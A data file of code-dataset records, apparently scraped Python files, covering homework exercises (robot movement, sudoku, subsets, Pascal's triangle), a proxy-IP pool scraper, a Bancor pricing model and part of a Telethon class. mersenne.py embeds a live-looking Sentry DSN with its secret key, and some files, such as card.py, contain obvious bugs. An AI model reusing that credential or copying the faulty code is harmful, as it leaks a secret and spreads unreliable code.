naprzod() - przemieszcza robota krok w kierunku, w którym obecnie jest zwrócony (przykładowo krok na wschód powoduje zmianę współrzędnych z (x, y) na (x + 1, y)),\n# \t\t- wykonaj(ciag_instrukcji), gdzie ciąg instrukcji to napis złożony z liter N, P, L oznaczających odpowiednio: Naprzód, Prawo, Lewo (tzn. instkcja N odpowiada jednemu wywołaniu metody naprzod(), P - prawo(), L - lewo()).\n# \t\t\tWywołanie metody wykonaj() powinno przemieścić robota zgodnie z przekazanymi instrukcjami.\n# \t\t\tPrzykład:\n# \t\t\t- początkowe położenie robota: (0, 0), zwrot: N,\n# \t\t\t- ciąg instrukcji: NNPNLNPP,\n# \t\t\t- końcowe położenie robota: (1, 3), zwrot: S.\n#\n\nclass Robot:\n def __init__(self):\n self.x=0\n self.y=0\n self.zwrot=0\n self.kierunki=[\"N\",\"E\",\"S\",\"W\"]\n\n\n def wypisz(self):\n print(self.x,self.y,self.kierunki[self.zwrot % 4])\n\n def prawo(self):\n self.zwrot += 1\n\n def naprzod(self):\n if self.zwrot % 4 == 0:\n self.y += 1\n elif self.zwrot % 4 == 1:\n self.x += 1\n elif self.zwrot % 4 == 2:\n self.y -= 1\n elif self.zwrot % 4 == 3:\n self.x -= 1\n\n def lewo(self):\n self.zwrot -= 1\n\n def wykonaj(self,instrukcje):\n for i in instrukcje:\n if i == \"P\":\n self.prawo()\n elif i == \"L\":\n self.lewo()\n elif i == \"N\":\n self.naprzod()\n\nRobi = Robot()\nRobi.wypisz()\nRobi.wykonaj(\"NNPNLNPP\")\nRobi.wypisz()\n","sub_path":"dzień06/PracaDomowa_4.py","file_name":"PracaDomowa_4.py","file_ext":"py","file_size_in_byte":2254,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"355484701","text":"import percache\nfrom concurrent.futures import ThreadPoolExecutor as Thread\nfrom flooding.fetcher import Fetcher\nfrom flooding.parser import Parser\nfrom utilities import *\n\n\nclass Frontend():\n cache_path = \"flooding/cache/flooding\"\n try:\n os.makedirs(os.path.dirname(cache_path))\n except:\n pass\n\n cache = percache.Cache(\"flooding/cache/flooding\", repr=cache_repr, livesync=True)\n\n fetcher = Fetcher()\n parser = Parser()\n\n bounds = Parser.bounds\n\n @cache\n def get(self, date):\n date_string = date.strftime(\"%Y-%m-%d\")\n\n with timed_execution(\"fetching flooding data for date: \" + date_string):\n data = self.fetcher.fetch(date)\n return self.parser.parse(data, date)\n\n def get_range(self, start, end):\n range = get_date_range(start, end, timedelta(days=1))\n\n batch_start = datetime.now()\n with Thread(4) as pool:\n result = pool.map(self.get, range)\n\n delta = datetime.now() - batch_start\n logger.info('Number of entries fetched: ' + str(len(range)))\n logger.info('Total fetching time: ' + str(delta))\n\n result_list = list(result)\n return {k: v for d in result_list for k, v in d.items()}\n","sub_path":"flooding/frontend.py","file_name":"frontend.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"342111472","text":"#############################################################\r\n# FILE : ex8.py\r\n# WRITER : Lotan Aharoni, lotanaharoni , 308342336\r\n# EXERCISE : intro2cs1 ex8 2018-2019\r\n# DESCRIPTION : This file contains a function that receives\r\n# a list of lists that contains a Sudoku board. The function\r\n# solves the Sudoku recursively.\r\n#############################################################\r\n\r\nimport math\r\n\r\n\r\ndef solve_sudoku(board):\r\n \"\"\"\r\n This function initiate the parameters that the other function need,\r\n and it calls to the \"solve' function.\r\n :param board: list of lists, the original Sudoku board.\r\n :return: \"True\" - if the Sudoku can be solved and \"False\" if not.\r\n \"\"\"\r\n # returns all the valid numbers\r\n all_the_numbers = return_all_the_numbers(board)\r\n # fills the board with zeros in the correct places\r\n fill_board(board, all_the_numbers)\r\n index_row = 0\r\n index_column = 0\r\n # solves the board\r\n if_can_be_solved = solve(board, index_row, index_column, all_the_numbers)\r\n return if_can_be_solved\r\n\r\n\r\ndef solve(board, index_row, index_column, all_the_numbers):\r\n \"\"\"\r\n This function solves recursively the Sudoku board. it checks\r\n every empty cell and tries to fill it with the correct number.\r\n :param board: list containing lists\r\n :param index_row: int, represent the row inside the board\r\n :param index_column: int, represent the column inside the board\r\n :param all_the_numbers: list contains \"int\"s\r\n :return: \"True\" - if the Sudoku can be solved and \"False\" if not.\r\n \"\"\"\r\n # gets the position of the next empty cell\r\n index_row, index_column = find_empty_cell(board)\r\n # base case: if there is no empty cells\r\n if index_row == -1:\r\n return True\r\n # checks if there is number the is legal to place it in the empty cell\r\n for number in all_the_numbers:\r\n if valid_number_in_place(board, index_row, index_column,\r\n number) is True:\r\n board[index_row][index_column] = number\r\n # calls recursively to this function\r\n if solve(board, index_row, index_column, all_the_numbers) is True:\r\n return True\r\n board[index_row][index_column] = 0\r\n return False\r\n\r\n\r\ndef valid_number_in_place(board, index_row, index_column, number):\r\n \"\"\"\r\n This function checks if a specific cell is legal. It checks\r\n the it's row, column and area in order to search problems\r\n with it's value.\r\n :param board: list containing lists\r\n :param index_row: int, represent the cells's position\r\n :param index_column: int, represent the cells's position\r\n :param number: int, represent the cell's value\r\n :return: \"True\"- if the value of the cell is legal, and \"False\" if not\r\n \"\"\"\r\n # checks if the cell is legal in it's row\r\n if valid_in_row(board, index_row, number) is False:\r\n return False\r\n # checks if the cell is legal in it's column\r\n if valid_in_column(board, index_column, number) is False:\r\n return False\r\n # checks if the cell is legal in it's area\r\n if valid_in_area(board, index_row, index_column, number) is False:\r\n return False\r\n\r\n return True\r\n\r\n\r\ndef fill_board(board, all_the_numbers):\r\n \"\"\"\r\n This function gets a Sudoku board and fill the boars with\r\n zeroes in the right places (where there is no legal number)\r\n :param board: list containing lists\r\n :param all_the_numbers: list of \"int\"s, represent the legal numbers\r\n :return: list of lists, the updated board\r\n \"\"\"\r\n for row in range(len(board)):\r\n for column in range(len(board[0])):\r\n # checks if there are not valid numbers or signs in the board\r\n if board[row][column] not in all_the_numbers:\r\n # if there is not valid, it replaces it with \"0\"\r\n board[row][column] = 0\r\n return board\r\n\r\n\r\ndef return_all_the_numbers(board):\r\n \"\"\"\r\n This function returns all the legal numbers of the board\r\n :param board: list containing lists\r\n :return: list of \"int\"s, represent the legal numbers of the board\r\n \"\"\"\r\n all_th_numbers = []\r\n for number in range(1, len(board) + 1):\r\n all_th_numbers.append(number)\r\n return all_th_numbers\r\n\r\n\r\ndef find_empty_cell(board):\r\n \"\"\"\r\n This function checks if the Sudoku board contains empty cells with\r\n zero value. If it's exist, the function returns the position of the\r\n first empty cell.\r\n :param board: list containing lists\r\n :return: two \"int\"s. It returns the row's and column's value if there\r\n is empty cell with zero, and two \"-1\" if not.\r\n \"\"\"\r\n for row in range(len(board)):\r\n for column in range(len(board)):\r\n if board[row][column] == 0:\r\n return row, column\r\n return -1, -1\r\n\r\n\r\ndef valid_in_row(board, index_row, number):\r\n \"\"\"\r\n This function checks if a specific cell with specific value is legal in\r\n \"the row exam\". It checks if there are other cells in this row with the\r\n same value in this specific cell.\r\n :param board: list containing lists\r\n :param index_row: int, represent the cells's position\r\n :param number: int, represent the cell's value\r\n :return: \"True\"- if the value of the cell is legal, and \"False\" if not\r\n \"\"\"\r\n for column in range(len(board)):\r\n if board[index_row][column] == number:\r\n return False\r\n return True\r\n\r\n\r\ndef valid_in_column(board, index_column, number):\r\n \"\"\"\r\n This function checks if a specific cell with specific value is legal in\r\n \"the column exam\". It checks if there are other cells in this column with\r\n the same value in this specific cell.\r\n :param board: list containing lists\r\n :param index_column: int, represent the cells's position\r\n :param number: int, represent the cell's value\r\n :return: \"True\"- if the value of the cell is legal, and \"False\" if not\r\n \"\"\"\r\n for row in range(len(board)):\r\n if board[row][index_column] == number:\r\n return False\r\n return True\r\n\r\n\r\ndef valid_in_area(board, index_row, index_column, number):\r\n \"\"\"\r\n This function checks if a specific cell with specific value is legal in\r\n \"the area exam\". It checks if there are other cells in this area with\r\n the same value in this specific cell.\r\n :param board: list containing lists\r\n :param index_row: int, represent the cells's position\r\n :param index_column: int, represent the cells's position\r\n :param number: int, represent the cell's value\r\n :return: \"True\"- if the value of the cell is legal, and \"False\" if not\r\n \"\"\"\r\n # gets the position in which the area starts\r\n square_root = int(math.sqrt(len(board)))\r\n temp_index_row = square_root * (index_row // square_root)\r\n temp_index_column = int(square_root) * (index_column // square_root)\r\n # checks if this cell with this specific value is legal in it's area\r\n for row in range(square_root):\r\n for col in range(square_root):\r\n if board[temp_index_row + row][temp_index_column + col] == number:\r\n return False\r\n return True\r\n\r\n\r\ndef print_k_subsets(n, k):\r\n \"\"\"\r\n This function checks if the numbers are valid and if they are, it calls the\r\n \"k_subset_helper\" function in order to checks the combinations.\r\n :param n: int, up to it the function count the combinations in length of k\r\n :param k: int, represent the length of the combinations\r\n :return: None\r\n \"\"\"\r\n # checks the case of the numbers are not valid\r\n if k <= 0 or n <= 0:\r\n return ['[]']\r\n # checks if the length of the combinations is bigger than the number\r\n if k > n:\r\n return None\r\n if k <= n:\r\n numbers_set = [False] * n\r\n k_subset_calculator(numbers_set, k, 0, 0)\r\n\r\n\r\ndef k_subset_calculator(cur_set, k, index, picked):\r\n \"\"\"\r\n This function searches all the combinations with length of k inside the\r\n values inside the \"cur_set\".\r\n :param cur_set: set, represent the values up to the length of \"n\"\r\n :param k: int, represent the length of the combinations\r\n :param index: int\r\n :param picked: int\r\n :return: None\r\n \"\"\"\r\n if k == picked:\r\n print_set(cur_set, k)\r\n return\r\n if index == len(cur_set):\r\n return\r\n cur_set[index] = True\r\n k_subset_calculator(cur_set, k, index + 1, picked + 1)\r\n cur_set[index] = False\r\n k_subset_calculator(cur_set, k, index + 1, picked)\r\n\r\n\r\ndef print_set(cur_set, k):\r\n \"\"\"\r\n This function prints the values inside the \"cur_set\" in lists\r\n with the length of \"k\".\r\n :param cur_set: set\r\n :param k: int, represent the length of the combinations\r\n :return: None\r\n \"\"\"\r\n counter = 0\r\n print('[', end='')\r\n for (idx, in_cur_set) in enumerate(cur_set):\r\n if in_cur_set:\r\n # checks if there is another numbers in the set to print\r\n if counter != k - 1:\r\n print(str(idx) + \", \", end='')\r\n counter = counter + 1\r\n else:\r\n # if the numbers is the last number\r\n print(idx, end='')\r\n print(']')\r\n\r\n\r\ndef fill_k_subsets(n, k, lst):\r\n \"\"\"\r\n This function checks if the numbers are valid, and if they are, it\r\n calls the function \"check_fill\".\r\n :param n: int, up to it the function count the combinations in length of k\r\n :param k: int, represent the length of the combinations\r\n :param lst: list, the list of all the combinations\r\n :return: None\r\n \"\"\"\r\n helper_lst = []\r\n if k <= n:\r\n for time in range(n):\r\n helper_lst.append([False])\r\n check_fill(n, k, lst, helper_lst, 0, 0)\r\n\r\n\r\ndef check_fill(n, k, lst, helper_lst, index, picked):\r\n \"\"\"\r\n This function searches recursively all the combinations from\r\n the \"helper_lst\" with the length of k. In the end, it calls the\r\n \"check_fill\" function in order to insert the values in to the\r\n combinations list.\r\n :param n: int, up to it the function count the combinations in length of k\r\n :param k: int, represent the length of the combinations\r\n :param lst: list, the list of all the combinations\r\n :param helper_lst: list that contains all the numbers and indexes\r\n :param index: int\r\n :param picked: int\r\n :return: None\r\n \"\"\"\r\n if k == picked:\r\n put_inside_list(lst, helper_lst)\r\n return\r\n if index == len(helper_lst):\r\n return\r\n helper_lst[index] = True\r\n check_fill(n, k, lst, helper_lst, index + 1, picked + 1)\r\n helper_lst[index] = False\r\n check_fill(n, k, lst, helper_lst, index + 1, picked)\r\n\r\n\r\ndef put_inside_list(lst, helper_lst):\r\n \"\"\"\r\n This function gets the 'helper_lst\", the lists with all the numbers\r\n and values, and it inserts the combinations in to the \"lst\" list.\r\n :param lst: list, the list with all the combinations.\r\n :param helper_lst: list, the list with all the numbers and values.\r\n :return: None\r\n \"\"\"\r\n temp_lst = []\r\n for index in range(len(helper_lst)):\r\n if helper_lst[index] is True:\r\n # insert the valid combinations inside the \"lst\" list\r\n temp_lst.append(index)\r\n lst.append(temp_lst)\r\n\r\n\r\ndef return_k_subsets(n, k):\r\n \"\"\"\r\n This function checks if the numbers are valid, and it are\r\n it calls the \"return_helper\" function. In the end, it sorts\r\n all the results it receives from the \"return_helper\" function.\r\n :param n: int, the number uop to it we returns subsets.\r\n :param k: int, the length of the subsets.\r\n :return: list of lists\r\n \"\"\"\r\n updated_results = []\r\n # if the numbers are not valid\r\n if n <= 0 or k <= 0:\r\n return [[]]\r\n if k > n:\r\n return [[]]\r\n # calls to function that returns all the subsets\r\n results = return_helper(n, k, 0)\r\n # sort the results by the length\r\n for i in results:\r\n if len(i) == k:\r\n updated_results.append(i)\r\n\r\n # reverse the lists inside the list\r\n updated_results = updated_results[::-1]\r\n return updated_results\r\n\r\n\r\ndef return_helper(n, k, move):\r\n \"\"\"\r\n This function checks all the sub-sets inside the list of\r\n the numbers up to n.\r\n :param n: int, the number uop to it we returns subsets.\r\n :param k: int, the length of the subsets.\r\n :param move: int\r\n :return: list of lists\r\n \"\"\"\r\n\r\n results = []\r\n temp_list = []\r\n # the base case\r\n if move == n:\r\n return [[]]\r\n\r\n results = results + return_helper(n, k, move + 1)\r\n for time in range(len(results)):\r\n temp_list = temp_list + [[move] + results[time]]\r\n results = results + temp_list\r\n return results\r\n","sub_path":"ex8/ex8.py","file_name":"ex8.py","file_ext":"py","file_size_in_byte":12734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"3900536","text":"# Sentry Error Tracking Configuration\nfrom raven import Client\n\nclient = Client('https://63adf00e3fec4f0997c9f693566988c6:4d1207f6289843a082e8ebd22f7a176a@sentry.io/181370')\n\n\ndef compute_mersenne_number(num_in):\n return (2 ** num_in) - 1\n\n\ndef check_if_prime(mersenne_in):\n for j in range(2, mersenne_in):\n if (mersenne_in % j) == 0:\n return False\n return True\n\n\nnum_in = int(input(\"Enter a number: \"))\nmersenne = compute_mersenne_number(num_in)\nprint(\"Mersenne Number: %d\" % mersenne)\nis_prime = check_if_prime(mersenne)\nprint(\"Prime status: %r\" % is_prime)\n","sub_path":"mersenne.py","file_name":"mersenne.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"545428335","text":"#!/usr/bin/python\n\nimport os\nimport re\nimport sys\n\nall_game = []\n\nclass game(object) :\n\tdef __init__(self, group):\n\t\tself.group = group\n\n# sort card\n\ndef sort_card(card, size) :\n\tif 0 == size:\n\t\treturn\n\n\tfor i in range(len(card) -1, 0, -1) :\n\t\tfor j in range(i) :\n\t\t\tif card[j] > card[j +1]:\n\t\t\t\ttmp = card[j]\n\t\t\t\tcard[j] = card[j +1]\n\t\t\t\tcard[j +1] = tmp\n\n\n# check same card\n\ndef same_card(var1, var2):\n\n\tif var1 % 13 == var2 % 13:\n\t\treturn True\n\telse :\n\t\treturn False\n\n# check single card\n\ndef single_card(card, size):\n\tif size != 1:\n\t\treturn False\n\n\treturn True\n\n# check double card\n\ndef double_card(card, size):\n\tif size != 2:\n\t\treturn False\n\n\treturn same_card(card)\n\n# check double queens\n\ndef double_queens(card, size):\n\tif size != 2:\n\t\treturn False\n\n\tif card[0] != 52 and card[1] != 53:\n\t\treturn False\n\n\treturn True\n\n# check three card\n\ndef three_card(card, size):\n\tif size != 3:\n\t\treturn False\n\n\tif same_card(card[0], card[1]) and same_card(card[1], card[2]):\n\t\treturn True\n\n\treturn False\n\n# check bomb\n\ndef four_card(card, size):\n\tif size != 4:\n\t\treturn False\n\n\tif same_card(card[0], card[1]) and same_card(card[1], card[2]) and same_card(card[2], card[3]) :\n\t\treturn True\n\n\treturn False\n\n# check three one type\n\ndef three_one(card, size):\n\tif size != 4:\n\t\treturn False\n\n\tif three_card(card, 3) and False == same_card(card[2], card[3]) or \\\n\t\tFalse == same_card(card[0], card[1]) and three_card(card[1:4]):\n\t\treturn True\n\n\treturn False\n\ndef _process_card(card, size, group):\n\tpass\n\ndef process_card(card, size, sender, group):\n\n\tif game[group].state == 0:\n\t\treturn\n\n\tif game[group].sender == sender:\n\t\treturn\n\n\treturn _proces_card(card, size, group)\n\n\ndef get_event():\n\tpass\n\ndef process_event():\n\tpass\n\ndef main():\n\n\tassert True == same_card(1, 14)\n\n\twhile 1: \n\t\tget_event()\n\t\tprocess_event()\n\nif __name__ == '__main__':\n\tmain()\n\t\n","sub_path":"prj/card.py","file_name":"card.py","file_ext":"py","file_size_in_byte":1842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"213953933","text":"#\n# @lc app=leetcode id=119 lang=python3\n#\n# [119] Pascal's Triangle II\n#\n# https://leetcode.com/problems/pascals-triangle-ii/description/\n#\n# algorithms\n# Easy (43.09%)\n# Likes: 474\n# Dislikes: 165\n# Total Accepted: 204.2K\n# Total Submissions: 468K\n# Testcase Example: '3'\n#\n# Given a non-negative index k where k ≤ 33, return the k^th index row of the\n# Pascal's triangle.\n# \n# Note that the row index starts from 0.\n# \n# \n# In Pascal's triangle, each number is the sum of the two numbers directly\n# above it.\n# \n# Example:\n# \n# \n# Input: 3\n# Output: [1,3,3,1]\n# \n# \n# Follow up:\n# \n# Could you optimize your algorithm to use only O(k) extra space?\n# \n#\nclass Solution:\n # My solution - recursion\n def getRow(self, rowIndex: int) -> List[int]:\n if rowIndex == 0: return [1]\n previousRow = self.getRow(rowIndex - 1)\n row = []\n for i in range(len(previousRow) - 1):\n row.append(previousRow[i] + previousRow[i + 1])\n row = [1] + row + [1]\n return row\n \n # Most-voted solution\n def getRow(self, rowIndex: int) -> List[int]:\n row = [1]\n for _ in range(rowIndex):\n row = [x + y for x, y in zip([0] + row, row + [0])]\n return row\n\n # Mathematics\n def getRow(self, rowIndex: int) -> List[int]:\n row = [1] * (rowIndex + 1)\n for m in range(1, rowIndex // 2 + 1):\n row[m] = row[rowIndex - m] = int((row[m - 1] * (rowIndex - m + 1)) / m)\n return row\n\n","sub_path":"119.pascals-triangle-ii.py","file_name":"119.pascals-triangle-ii.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"259476019","text":"class Bancor:\n\n def __init__(self, connector_barance, bnt_supply, weight, graph, debug):\n self.connector_barance = connector_barance\n self.bnt_supply = bnt_supply\n self.weight = weight\n self.epoch = 0\n start_price = connector_barance / (bnt_supply * weight)\n self.graph = graph(start_price)\n self.debug = debug(self)\n\n def _buy(self, paid_connected_tokens):\n issued_tokens = self.bnt_supply * ((1.0 + paid_connected_tokens / self.connector_barance) ** self.weight - 1.0)\n self.connector_barance += paid_connected_tokens\n self.bnt_supply += issued_tokens\n return issued_tokens\n\n def buy(self, paid_connected_tokens):\n self.epoch += 1\n issued_tokens = self._buy(paid_connected_tokens)\n effective_rate = paid_connected_tokens / issued_tokens\n self.debug.buy(paid_connected_tokens, issued_tokens, effective_rate)\n price = self.result()\n self.graph.buy(effective_rate, issued_tokens, price)\n return issued_tokens\n\n def _sell(self, destroyed_tokens):\n paidout_connected_tokens = self.connector_barance * (1.0 - (1.0 - destroyed_tokens / self.bnt_supply) ** (1.0 / self.weight))\n self.connector_barance -= paidout_connected_tokens\n self.bnt_supply -= destroyed_tokens\n return paidout_connected_tokens\n\n def sell(self, destroyed_tokens):\n self.epoch += 1\n paidout_connected_tokens = self._sell(destroyed_tokens)\n effective_rate = paidout_connected_tokens / destroyed_tokens\n self.debug.sell(destroyed_tokens, paidout_connected_tokens, effective_rate)\n price = self.result()\n self.graph.sell(effective_rate, paidout_connected_tokens, price)\n return paidout_connected_tokens\n\n def result(self):\n price = self.connector_barance / (self.bnt_supply * self.weight)\n self.debug.result(price)\n return price\n\n def plot(self):\n self.graph.plot(self.epoch)\n","sub_path":"bancor/logic.py","file_name":"logic.py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"313793889","text":"# encoding:utf-8\nfrom bs4 import BeautifulSoup\nimport traceback\nimport requests\nimport base64\nimport cgitb\nfrom fake_useragent import UserAgent\nfrom retrying import retry\nfrom threading import Thread\nimport time\nimport pymysql \nimport pymysql.cursors \nfrom pymysql import IntegrityError\n\nclass pool():\n def __init__(self):\n self.ths = []\n self.ua = UserAgent()\n self.db = pymysql.connect(host='localhost', user='root', password='11010312', db='ip_pool', port=3306, charset='utf8')\n self.cursor = self.db.cursor()\n self.mutex = 0\n self.tmp_ips = [] #暂存ip\n \n def run(self):\n th1 = Thread(target=self.get_ip, args=('http',))\n th1.start()\n self.ths.append(th1)\n th2 = Thread(target=self.get_ip, args=('https',))\n th2.start()\n self.ths.append(th2)\n \n time.sleep(5)\n for _ in range(2):\n th3 = Thread(target=self.check_ip, args=('http',))\n th3.start()\n self.ths.append(th3)\n \n for _ in range(2):\n th3 = Thread(target=self.check_ip, args=('https',))\n th3.start()\n self.ths.append(th3)\n \n for th in self.ths:\n th.join()\n\n def check_ip(self, tar='http'):\n sql = 'SELECT ip FROM %s' %(tar)\n headers = {'User-Agent': self.ua.random} \n while True:\n self.cursor.execute(sql)\n ip = self.cursor.fetchall()[0]\n proxies = {\n 'http':ip,\n 'https':ip.replace('http://','https://')\n }\n try:\n res = requests.get('http://httpbin.org/ip', headers = headers, proxies = proxies, timeout = 20).status_code\n if res!= 200:\n self.del_ip(tar, ip)\n print(ip+'\\t丢弃')\n except:\n self.del_ip(tar, ip)\n print(ip+'\\t丢弃')\n def del_ip(self, tar, ip):\n sql = 'DELETE * FROM %s WHERE ip = %s' % (tar,ip)\n while self.mutex == 1:\n time.sleep(2)\n self.mutex = 1\n try:\n self.cursor.execute(sql)\n self.db.commit()\n except:\n self.del_ip(tar, ip)\n finally:\n self.mutex = 0\n \n def get_ip(self, cate):\n num=1\n while 1:\n num+=1\n print(num)\n if cate == 'http':\n url = 'https://www.xicidaili.com/wt/'\n else:\n url = 'https://www.xicidaili.com/wn/'\n \n headers = {'User-Agent': self.ua.random}\n html = requests.get(url, headers = headers)\n soup = BeautifulSoup(html.text)\n ip_table = soup.find('table',attrs={\"id\":'ip_list'})\n ips1 = ip_table.find_all('odd')\n for ip in ips1:\n host = ip.find_all('td')[1]\n port = ip.find_all('td')[2]\n if cate == 'http':\n ip = 'http://'+host+':'+port\n self.set_db(ip, cate) \n else:\n ip = 'https://'+host+':'+port \n self.set_db(ip, cate) \n print(ip+'\\t加入')\n \n ips2 = ip_table.find_all('tr')[1:]\n for ip in ips2:\n host = ip.find_all('td')[1].text\n port = ip.find_all('td')[2].text\n if cate == 'http':\n ip = 'http://'+host+':'+port\n self.set_db(ip, cate) \n else:\n ip = 'https://'+host+':'+port \n self.set_db(ip, cate) \n print(ip+'\\t加入')\n time.sleep(10)\n \n def set_db(self, ip, cate):\n try:\n while self.mutex == 1:\n time.sleep(2)\n self.mutex = 1\n sql = \"INSERT INTO %s (ip) VALUES('%s')\" % (cate, ip)\n self.cursor.execute(sql)\n self.db.commit()\n self.mutex = 0 \n except IntegrityError:\n self.mutex = 0 \n \nif __name__ == \"__main__\":\n # pool().run()\n pool().check_ip()","sub_path":".history/xici_20200526222711.py","file_name":"xici_20200526222711.py","file_ext":"py","file_size_in_byte":4218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"248433690","text":"\ndef main():\n with open('input.txt') as file:\n numbers = [int(number) for number in file.read().split(\",\")]\n\n print(solve(numbers))\n\ndef solve(numbers):\n spokenOnTurn = {}\n index = 1\n for number in numbers:\n spokenOnTurn[number] = index\n index += 1\n \n lastNumber = numbers[-1]\n \n for index in range(index - 1, 2020):\n newNumber = index - spokenOnTurn[lastNumber] if lastNumber in spokenOnTurn else 0\n spokenOnTurn[lastNumber] = index\n lastNumber = newNumber\n\n return lastNumber\n\nmain()","sub_path":"day15-rambunctious-recitation/one.py","file_name":"one.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"81533898","text":"\nimport unittest\nimport urllib.request as url\n\nclass TestViewMethods(unittest.TestCase):\n\n# Request(url, data=None, headers={}, origin_req_host=None, unverifiable=False, method=None)\n def test_get_players(self):\n expect = '[{\"id\": \"c252c4c2-a077-4194-8f27-a6fb331b27c1\", \"name\": \"Bob\"}, {\"id\": \"1cd541d0-1335-4f7d-9b1d-8c5d13f63784\", \"name\": \"Caleb\"}]'\n req = url.Request(\"http://localhost:5000/players\", method='GET')\n res = url.urlopen(req).read().decode('utf-8')\n self.assertEqual(expect, res)\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"app/views.tests.py","file_name":"views.tests.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"576920951","text":"from .. import types\nfrom ...utils import get_input_peer, get_peer_id, get_inner_text\nfrom .messagebutton import MessageButton\nfrom .forward import Forward\n\n\nclass Message:\n \"\"\"\n Custom class that encapsulates a message providing an abstraction to\n easily access some commonly needed features (such as the markdown text\n or the text for a given message entity).\n\n Attributes:\n\n original_message (:tl:`Message`):\n The original :tl:`Message` object.\n\n Any other attribute:\n Attributes not described here are the same as those available\n in the original :tl:`Message`.\n \"\"\"\n def __init__(self, client, original, entities, input_chat):\n # Share the original dictionary. Modifications to this\n # object should also be reflected in the original one.\n # This way there's no need to worry about get/setattr.\n self.__dict__ = original.__dict__\n self.original_message = original\n self.stringify = self.original_message.stringify\n self.to_dict = self.original_message.to_dict\n self._client = client\n self._text = None\n self._reply_message = None\n self._buttons = None\n self._buttons_flat = None\n self._buttons_count = None\n\n self._sender = entities.get(self.original_message.from_id)\n if self._sender:\n self._input_sender = get_input_peer(self._sender)\n else:\n self._input_sender = None\n\n # Determine the right chat where the message\n # was sent, not *to which ID* it was sent.\n if not self.original_message.out \\\n and isinstance(self.original_message.to_id, types.PeerUser):\n self._chat_peer = types.PeerUser(self.original_message.from_id)\n else:\n self._chat_peer = self.original_message.to_id\n\n self._chat = entities.get(self.chat_id)\n self._input_chat = input_chat\n if not self._input_chat and self._chat:\n self._input_chat = get_input_peer(self._chat)\n\n if getattr(self.original_message, 'fwd_from', None):\n self._forward = Forward(\n self._client, self.original_message.fwd_from, entities)\n else:\n self._forward = None\n\n def __new__(cls, client, original, entities, input_chat):\n if isinstance(original, types.Message):\n return super().__new__(_CustomMessage)\n elif isinstance(original, types.MessageService):\n return super().__new__(_CustomMessageService)\n else:\n return cls\n\n def __str__(self):\n return str(self.original_message)\n\n def __repr__(self):\n return repr(self.original_message)\n\n def __bytes__(self):\n return bytes(self.original_message)\n\n @property\n def client(self):\n \"\"\"\n Returns the `telethon.telegram_client.TelegramClient` instance that\n created this instance.\n \"\"\"\n return self._client\n\n @property\n def text(self):\n \"\"\"\n The message text, formatted using the client's default parse mode.\n Will be ``None`` for :tl:`MessageService`.\n \"\"\"\n if self._text is None\\\n and isinstance(self.original_message, types.Message):\n if not self._client.parse_mode:\n return self.original_message.message\n self._text = self._client.parse_mode.unparse(\n self.original_message.message, self.original_message.entities)\n return self._text\n\n @text.setter\n def text(self, value):\n if isinstance(self.original_message, types.Message):\n if self._client.parse_mode:\n msg, ent = self._client.parse_mode.parse(value)\n else:\n msg, ent = value, []\n self.original_message.message = msg\n self.original_message.entities = ent\n self._text = value\n\n @property\n def raw_text(self):\n \"\"\"\n The raw message text, ignoring any formatting.\n Will be ``None`` for :tl:`MessageService`.\n \"\"\"\n if isinstance(self.original_message, types.Message):\n return self.original_message.message\n\n @raw_text.setter\n def raw_text(self, value):\n if isinstance(self.original_message, types.Message):\n self.original_message.message = value\n self.original_message.entities = []\n self._text = None\n\n @property\n def message(self):\n \"\"\"\n The raw message text, ignoring any formatting.\n Will be ``None`` for :tl:`MessageService`.\n \"\"\"\n return self.raw_text\n\n @message.setter\n def message(self, value):\n self.raw_text = value\n\n @property\n def action(self):\n \"\"\"\n The :tl:`MessageAction` for the :tl:`MessageService`.\n Will be ``None`` for :tl:`Message`.\n \"\"\"\n if isinstance(self.original_message, types.MessageService):\n return self.original_message.action\n\n # TODO Make a property for via_bot and via_input_bot, as well as get_*\n async def _reload_message(self):\n \"\"\"\n Re-fetches this message to reload the sender and chat entities,\n along with their input versions.\n \"\"\"\n try:\n chat = await self.get_input_chat() if self.is_channel else None\n msg = await self._client.get_messages(\n chat, ids=self.original_message.id)\n except ValueError:\n return # We may not have the input chat/get message failed\n if not msg:\n return # The message may be deleted and it will be None\n\n self._sender = msg._sender\n self._input_sender = msg._input_sender\n self._chat = msg._chat\n self._input_chat = msg._input_chat\n\n @property\n def sender(self):\n \"\"\"\n Returns the :tl:`User` that sent this message. It may be ``None``\n if the message has no sender or if Telegram didn't send the sender\n inside message events.\n\n If you're using `telethon.events`, use `get_sender` instead.\n \"\"\"\n return self._sender\n\n async def get_sender(self):\n \"\"\"\n Returns `sender`, but will make an API call to find the\n sender unless it's already cached.\n \"\"\"\n if self._sender is None and await self.get_input_sender():\n try:\n self._sender =\\\n await self._client.get_entity(self._input_sender)\n except ValueError:\n await self._reload_message()\n return self._sender\n\n @property\n def chat(self):\n \"\"\"\n Returns the :tl:`User`, :tl:`Chat` or :tl:`Channel` where this message\n was sent. It may be ``None`` if Telegram didn't send the chat inside\n message events.\n\n If you're using `telethon.events`, use `get_chat` instead.\n \"\"\"\n return self._chat\n\n async def get_chat(self):\n \"\"\"\n Returns `chat`, but will make an API call to find the\n chat unless it's already cached.\n \"\"\"\n if self._chat is None and await self.get_input_chat():\n try:\n self._chat =\\\n await self._client.get_entity(self._input_chat)\n except ValueError:\n await self._reload_message()\n return self._chat\n\n @property\n def input_sender(self):\n 